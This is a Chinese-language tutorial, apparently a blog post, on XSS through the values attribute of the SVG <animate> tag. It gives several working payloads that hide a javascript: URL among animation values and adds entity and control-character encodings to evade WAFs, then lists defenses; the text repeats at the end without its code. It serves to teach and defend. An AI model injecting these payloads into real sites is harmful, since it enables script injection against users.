animate(动画)标签的xss利用
字数 926 2025-08-20 18:17:53

SVG <animate> 标签 XSS 利用技术详解

概述

本文详细解析了如何利用 SVG <animate> 标签的 values 属性进行 XSS 攻击的技术。该技术通过巧妙利用 SVG 动画属性的特性,能够绕过许多 WAF (Web 应用防火墙) 的检测。

基本原理

大多数 WAF 能够提取属性值并检测其中的恶意负载(如 javascript:alert(1))。然而,values 属性可以包含多个用分号分隔的值,每个值都会被动画标签单独处理。通过在 values 属性中间插入 JavaScript URL,可以误导 WAF:

<animate values="http://safe-url/?;javascript:alert(1);C">

基础攻击向量

一个完整的 XSS 攻击示例:

<svg>
  <animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite 
           keytimes=0;0;1 values="https://safe-url?;javascript:alert(1);0" />
  <a id=xss><text x=20 y=20>XSS</text></a>
</svg>

用户需要点击"XSS"文本来触发弹窗。

技术优化

1. 缩短攻击载荷

通过理解 valueskeyTimes 属性的关系,可以优化攻击载荷:

  • keyTimes 定义了何时使用 values 中的对应值
  • 将第一个 keyTimes 设为 0 可以忽略第一个 values

优化后的载荷:

<svg>
  <animate xlink:href=#xss attributeName=href keyTimes=0;0;1 
           values="http://isec.pl;javascript:alert(1);X" />
  <a id=xss><text x=20 y=20>XSS</text></a>
</svg>

2. 替代 keyTimes 属性

使用 fill 属性可以达到类似效果:

  • fill="remove": 动画结束后回到第一帧
  • fill="freeze": 动画结束后保持最后一帧

利用 fill="freeze" 并设置极短持续时间:

<svg>
  <animate xlink:href=#xss attributeName=href fill=freeze dur=1ms 
           values="http://isec.pl;javascript:alert(1)" />
  <a id=xss><text x=20 y=20>XSS</text></a>
</svg>

3. HTML 编码绕过

values 属性中的字符进行 HTML 编码可进一步绕过 WAF:

<svg>
  <animate xlink:href=#xss attributeName=href fill=freeze dur=1ms 
           values="http://isec.pl;j&#97;v&#x61;script:alert(1)" />
  <a id=xss><text x=20 y=20>XSS</text></a>
</svg>

还可以在 javascript: 前插入 ASCII 1-32 的控制字符:

<svg>
  <animate xlink:href=#xss attributeName=href 
           values="&#11;javascript:alert(1)" />
  <a id=xss><text x=20 y=20>XSS</text></a>
</svg>

或使用多个控制字符:

<svg>
  <animate xlink:href=#xss attributeName=href 
           values="&#01;&#02;...&#32;javascript:alert(1)" />
  <a id=xss><text x=20 y=20>XSS</text></a>
</svg>

防御建议

  1. 对所有用户提供的 SVG 内容进行严格过滤
  2. 禁用或严格限制 javascript: 协议的使用
  3. 实施内容安全策略 (CSP)
  4. 对 SVG 文件进行服务器端渲染检查
  5. 使用专门的 SVG 解析库而非简单的正则表达式检测

总结

SVG 规范中隐藏了许多潜在的 XSS 攻击媒介,即使是简单的属性值也可能包含多个恶意负载。本文介绍的技术已在 Firefox 和 Chrome 浏览器上测试有效。防御这类攻击需要深入理解 SVG 规范和多层次的防护措施。

SVG <animate> 标签 XSS 利用技术详解 概述 本文详细解析了如何利用 SVG <animate> 标签的 values 属性进行 XSS 攻击的技术。该技术通过巧妙利用 SVG 动画属性的特性,能够绕过许多 WAF (Web 应用防火墙) 的检测。 基本原理 大多数 WAF 能够提取属性值并检测其中的恶意负载(如 javascript:alert(1) )。然而, values 属性可以包含多个用分号分隔的值,每个值都会被动画标签单独处理。通过在 values 属性中间插入 JavaScript URL,可以误导 WAF: 基础攻击向量 一个完整的 XSS 攻击示例: 用户需要点击"XSS"文本来触发弹窗。 技术优化 1. 缩短攻击载荷 通过理解 values 和 keyTimes 属性的关系,可以优化攻击载荷: keyTimes 定义了何时使用 values 中的对应值 将第一个 keyTimes 设为 0 可以忽略第一个 values 值 优化后的载荷: 2. 替代 keyTimes 属性 使用 fill 属性可以达到类似效果: fill="remove" : 动画结束后回到第一帧 fill="freeze" : 动画结束后保持最后一帧 利用 fill="freeze" 并设置极短持续时间: 3. HTML 编码绕过 对 values 属性中的字符进行 HTML 编码可进一步绕过 WAF: 还可以在 javascript: 前插入 ASCII 1-32 的控制字符: 或使用多个控制字符: 防御建议 对所有用户提供的 SVG 内容进行严格过滤 禁用或严格限制 javascript: 协议的使用 实施内容安全策略 (CSP) 对 SVG 文件进行服务器端渲染检查 使用专门的 SVG 解析库而非简单的正则表达式检测 总结 SVG 规范中隐藏了许多潜在的 XSS 攻击媒介,即使是简单的属性值也可能包含多个恶意负载。本文介绍的技术已在 Firefox 和 Chrome 浏览器上测试有效。防御这类攻击需要深入理解 SVG 规范和多层次的防护措施。